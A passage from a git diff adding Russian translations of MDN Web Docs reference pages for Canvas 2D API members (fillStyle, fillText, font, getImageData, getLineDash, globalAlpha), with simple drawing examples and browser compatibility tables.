+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillrect", "CanvasRenderingContext2D.fillRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillStyle")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.clearRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html
new file mode 100644
index 0000000000..791c8fed7c
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html
@@ -0,0 +1,127 @@
+---
+title: CanvasRenderingContext2D.fillStyle
+slug: Web/API/CanvasRenderingContext2D/fillStyle
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/fillStyle
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong>, предосталяемое <a href="/ru/docs/Web/API/Canvas_API">Canvas 2D API</a>, задает цвет или стиль, используемый при заливке фигур. По умолчанию установлено значение <code>#000</code> (черный цвет).</p>
+
+<div class="blockIndicator note">
+<p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.fillStyle = color;
+</var><var><em>ctx</em>.fillStyle = gradient;
+</var><var><em>ctx</em>.fillStyle = pattern;</var>
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>color</code></dt>
+ <dd>{{domxref("DOMString")}} строка, содержащая цвет в формате, поддерживающимся стандартом CSS ({{cssxref("&lt;color&gt;")}}).</dd>
+ <dt><code>gradient</code></dt>
+ <dd>Объект класса {{domxref("CanvasGradient")}} (линейный или круговой градиент ).</dd>
+ <dt><code>pattern</code></dt>
+ <dd>Объект класса {{domxref("CanvasPattern")}} (повторяющееся изображение).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_fillStyle_property" name="Using_the_fillStyle_property">Изменение цвета заливки фигуры</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий <code>fillStyle</code> с цветом.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Изменение_цвета_заливки_фигуры', 700, 160) }}</p>
+
+<h3 id="Использование_fillStyle_в_циклах_for">Использование fillStyle в циклах for</h3>
+
+<p>В этом примере мы используем два цикла для рисования сетки из прямоугольников, каждый из которых будет закрашен разным цветом. Получившееся изображение должно выглядеть как на скриншоте . Здесь нет ничего сложного. Мы используем две переменные <code>i</code> и <code>j</code>, чтобы создать уникальный цвет для каждого квадрата, смешивая красный и зеленый цвета. Значение синего цвета изменяться не будет. Изменяя значения цветов, вы можете создать все цвета. Увеличив количество шагов, вы сможете создать цветовую палитру, наподобие той, которая используется в Photoshop.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+for (let i = 0; i &lt; 6; i++) {
+  for (let j = 0; j &lt; 6; j++) {
+    ctx.fillStyle = `rgb(
+        ${Math.floor(255 - 42.5 * i)},
+        ${Math.floor(255 - 42.5 * j)},
+        0)`;
+    ctx.fillRect(j * 25, i * 25, 25, 25);
+  }
+}</pre>
+
+<h4 id="Результат_2">Результат:</h4>
+
+<p>{{EmbedLiveSample("Использование_fillStyle_в_циклах_for", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillstyle", "CanvasRenderingContext2D.fillStyle")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.fillStyle")}}</p>
+
+<p>В браузерах на основе WebKit и Blink реализован устаревший и нестандартный метод <code>ctx.setFillColor()</code> в дополнение к этому.</p>
+
+<h3 id="Особенности_WebKitBlink">Особенности WebKit/Blink</h3>
+
+<p>В браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод <code>ctx.setFillColor()</code>.</p>
+
+<pre class="brush: js">setFillColor(color, optional alpha);
+setFillColor(grayLevel, optional alpha);
+setFillColor(r, g, b, a);
+setFillColor(c, m, y, k, a);
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">Canvas API</a></li>
+ <li>Интерфейс предоставляющий данное свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html
new file mode 100644
index 0000000000..8a56e89043
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html
@@ -0,0 +1,172 @@
+---
+title: CanvasRenderingContext2D.fillText()
+slug: Web/API/CanvasRenderingContext2D/fillText
+translation_of: Web/API/CanvasRenderingContext2D/fillText
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText(),</code></strong> предоставляемый Canvas 2D API, рисует (заливает) заданный текст в заданной позиции (<em>x, y</em>). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответветствие с указанной максимальной шириной.</p>
+
+<p>См. также метод {{domxref("CanvasRenderingContext2D.strokeText()")}} для выполнения обводки текста.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">void <var><em>ctx</em>.fillText(text, x, y [, maxWidth]);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>Текст, использующий для визуализации следующие свойства: {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}} и {{domxref("CanvasRenderingContext2D.direction","direction")}}.</dd>
+</dl>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Коодрдината левой нижней точки текста по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Коодрдината левой нижней точки текста по оси y.</dd>
+ <dt><code>maxWidth</code> {{optional_inline}}</dt>
+ <dd>Максимальная ширина текста.  Если ширина надписи больше параметра, текст масштабируется по горизонатли, или, если это невозможно (надпись становится нечитамой), уменьшается размер шрифта.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_fillText">Использование метода fillText</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий fillText.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5] notranslate">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">
+    <p>Спецификация</p>
+   </th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-filltext", "CanvasRenderingContext2D.fillText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeText()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/font/index.html b/files/ru/web/api/canvasrenderingcontext2d/font/index.html
new file mode 100644
index 0000000000..0f61487769
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/font/index.html
@@ -0,0 +1,94 @@
+---
+title: CanvasRenderingContext2D.font
+slug: Web/API/CanvasRenderingContext2D/font
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/font
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.font</code></strong> – свойство<strong> </strong>Canvas 2D API, определяющее  текущие стили рисуемого текста. Это строка, которая использует синтаксис <a href="/en-US/docs/Web/CSS/font" title="en/CSS/font">CSS font</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.font = <em>value</em>;
+</pre>
+
+<h3 id="Опции">Опции</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Строка {{domxref("DOMString")}} с разобранным CSS {{cssxref("font")}} значением. Значение по-умолчанию – "10px sans-serif".</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_пользовательского_шрифта">Использование пользовательского шрифта</h3>
+
+<p>Этот пример задает в своействе <code>font</code> другие <code>font-size</code> и <code>font-family</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.font = 'bold 48px serif';
+ctx.strokeText('Hello world', 50, 100);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Использование_пользовательского_шрифта', 700, 180) }}</p>
+
+<h3 id="Загрузка_шрифта_с_помощью_CSS_Font_Loading_API">Загрузка шрифта с помощью CSS Font Loading API</h3>
+
+<p>С помощью {{domxref("FontFace")}} API, вы можете явно загрузить шрифт перед использованием его в <code>canvas</code>.</p>
+
+<pre class="brush: js">let f = new FontFace('test', 'url(x)');
+
+f.load().then(function() {
+  // Ready to use the font in a canvas context
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-font", "CanvasRenderingContext2D.font")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.font")}}</p>
+
+<h3 id="Особенности_Gecko">Особенности Gecko</h3>
+
+<ul>
+ <li>Браузеры на основе Gecko, например Firefox, имеют не стандандартное и устаревшее свойство <code>ctx.mozTextStyle</code>. Используйте <code>ctx.font</code> вместо него.</li>
+ <li>In Gecko, when setting a system font as the value of a canvas 2D context's {{domxref("CanvasRenderingContext2D.font", "font")}} (e.g., <code>menu</code>), getting the font value used to fail to return the expected font (it returns nothing). This is fixed in Firefox's <a href="https://wiki.mozilla.org/Quantum/Stylo">Quantum/Stylo</a> parallel CSS engine, released in Firefox 57 ({{bug(1374885)}}).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html
new file mode 100644
index 0000000000..879efff5f0
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html
@@ -0,0 +1,108 @@
+---
+title: CanvasRenderingContext2D.getImageData()
+slug: Web/API/CanvasRenderingContext2D/getImageData
+tags:
+  - API
+  - Canvas
+  - Method
+translation_of: Web/API/CanvasRenderingContext2D/getImageData
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.getImageData() </code></strong><code>-</code> метод Canvas 2D API, возвращает объект {{domxref("ImageData")}}, представляющий базовые пиксельные данные для области холста, обозначенного прямоугольником, который начинается в точке <em>(sx, sy)</em> и имеет ширину <em>sw</em> и высоту <em>sh</em>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">ImageData <var><em>ctx</em>.getImageData(sx, sy, sw, sh);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>sx</code></dt>
+ <dd>Координата x верхнего левого угла прямоугольника, из которого будет извлечен ImageData.</dd>
+ <dt><code>sy</code></dt>
+ <dd>Координата y верхнего левого угла прямоугольника, из которого будет извлечен ImageData.</dd>
+ <dt><code>sw</code></dt>
+ <dd>Ширина прямоугольника, из которого будет извлечен ImageData.</dd>
+ <dt><code>sh</code></dt>
+ <dd>Высота прямоугольника, из которого будет извлечен ImageData.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект {{domxref("ImageData")}}, содержащий данные изображения для данного прямоугольника холста.</p>
+
+<h3 id="Выбрасываемые_ошибки">Выбрасываемые ошибки</h3>
+
+<dl>
+ <dt><code>IndexSizeError</code></dt>
+ <dd>Выбрасывает, если аргумент высоты или ширины равен нулю.</dd>
+ <dt><code>SecurityError</code></dt>
+ <dd>The canvas contains or may contain pixels which were loaded from an origin other than the one from which the document itself was loaded. To avoid <code>SecurityError</code> being thrown in this situation, configure CORS to allow the source image to be used in this way. See <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image">Allowing cross-origin use of images and canvas</a>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p> </p>
+
+<h3 id="Getting_image_data_from_a_canvas">Getting image data from a canvas</h3>
+
+<p>This example draws a rectangle, and then uses <code>getImageData()</code> to grab a portion of the canvas.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre><code>&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>The object retrieved by <code>getImageData()</code> has a width of 200 and a height of 100, for a total of 20,000 pixels. Of those pixels, most are either transparent or taken from off the canvas; only 5,000 of them are opaque black (the color of the drawn rectangle).</p>
+
+<pre><code>const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+let imageData = ctx.getImageData(60, 60, 200, 100);
+ctx.putImageData(imageData, 150, 10);</code></pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Getting_image_data_from_a_canvas", 700, 180)}}</p>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getimagedata", "CanvasRenderingContext2D.getImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.getImageData")}}</p>
+
+<p> </p>
+
+<h2 id="См_также">См также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий его, {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Pixel manipulation with canvas</a></li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html
new file mode 100644
index 0000000000..8d1ad2b626
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html
@@ -0,0 +1,79 @@
+---
+title: CanvasRenderingContext2D.getLineDash()
+slug: Web/API/CanvasRenderingContext2D/getLineDash
+translation_of: Web/API/CanvasRenderingContext2D/getLineDash
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <strong><code>CanvasRenderingContect2D.getLineDash()</code></strong>, предоставляемый Canvas 2D API который возвращает текущий паттерн штриховки линии.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.getLineDash();</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Array")}} (массив) чисел которые обозначают расстояния рисования линий и разрывов (в еденицах пространства координат). Если число заданных элементов нечетное, то заданные элементы массива копируются и суммируются. Например, установив штрихи линии как <code>[5, 15, 25]</code> в результате мы получим <code>[5, 15, 25, 5, 15, 25]</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Получение_текущей_настройки_штриховки_линии">Получение текущей настройки штриховки линии</h3>
+
+<p>Этот пример демонстрирует метод <code>getLineDash()</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Используя {{domxref("CanvasRenderingContext2D.setLineDash()", "setLineDash()")}} задано, что шрихи состоят из отрезков в 10 еденииц и разрывами между ними в 20 едениц.</p>
+
+<pre class="brush: js; highlight:[5]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.setLineDash([10, 20]);
+console.log(ctx.getLineDash());  // [10, 20]
+
+// Нарисовать штрихованную линию
+ctx.beginPath();
+ctx.moveTo(0, 50);
+ctx.lineTo(300, 50);
+ctx.stroke();
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Getting_the_current_line_dash_setting', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getlinedash", "CanvasRenderingContext2D.getLineDash")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.getLineDash")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html
new file mode 100644
index 0000000000..452657ae7b
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html
@@ -0,0 +1,140 @@
+---
+title: CanvasRenderingContext2D.globalAlpha
+slug: Web/API/CanvasRenderingContext2D/globalAlpha
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Property
+  - Reference
+  - Свойства
+  - Ссылки
+translation_of: Web/API/CanvasRenderingContext2D/globalAlpha
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.globalAlpha</code></strong> Canvas 2D API определяет альфа-(прозрачность) значение, которое будет применено к фигурам и картинкам до того как они будут отрисованы на холсте.</p>
+
+<div class="note">
+<p>Смотрите также <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.globalAlpha = <em>value</em>;
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Число между <code>0.0</code> (полная прозрачность) и <code>1.0</code> (полная непрозрачность), включительно. Дефолтное значение <code>1.0</code>. Значение, не входящее в указанный диапазон, включая {{jsxref("Infinity")}} и {{jsxref("NaN")}}, не будут применены, и <code>globalAlpha</code> сохранит предыдущее значение или значение по-умолчанию.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Отрисовка_полупрозрачных_фигур">Отрисовка полупрозрачных фигур</h3>
+
+<p>В этом примере используется свойство <code>globalAlpha</code> для отрисовки двух полупрозрачных прямоугольников.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[4]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.globalAlpha = 0.5;
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.fillStyle = 'red';
+ctx.fillRect(50, 50, 100, 100);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Drawing_translucent_shapes', 700, 180) }}</p>
+
+<h3 id="Наложение_прозрачных_фигур">Наложение прозрачных фигур</h3>
+
+<p>Этот пример демонстрирует эффект наложения нескольних прозрачных фигур друг на друга. Мы начнем с отрисовки непрозрачного фона, состоящего из четырех разноцветных квадратов. Далее мы устанавливаем свойство <code>globalAlpha</code> равное <code>0.2</code> (20% прозрачности); Уровень прозрачности будет применен ко всем прозрачным фигурам. Затем мы используем цикл <code>for</code> для отрисовки нескольких кругов с увеличивающимися радиусами.</p>
+
+<p>Для каждого нового круга прозрачность кругов, находящихся под ним,  уменьшается. Если вы увеличите количество шагов, тем самым увеличив количество кругов, фон в конечном итоге полностью исчезнет в центре изображения.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Рисуем фон
+ctx.fillStyle = '#FD0';
+ctx.fillRect(0, 0, 75, 75);
+ctx.fillStyle = '#6C0';
+ctx.fillRect(75, 0, 75, 75);
+ctx.fillStyle = '#09F';
+ctx.fillRect(0, 75, 75, 75);
+ctx.fillStyle = '#F30';
+ctx.fillRect(75, 75, 75, 75);
+ctx.fillStyle = '#FFF';
+
+// Устанавливаем уровень прозрачности
+ctx.globalAlpha = 0.2;
+
+// Рисуем круги
+for (let i = 0; i &lt; 7; i++) {
+  ctx.beginPath();
+  ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
+  ctx.fill();
+}
+</pre>
+
+<p>{{EmbedLiveSample("Overlaying_transparent_shapes", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
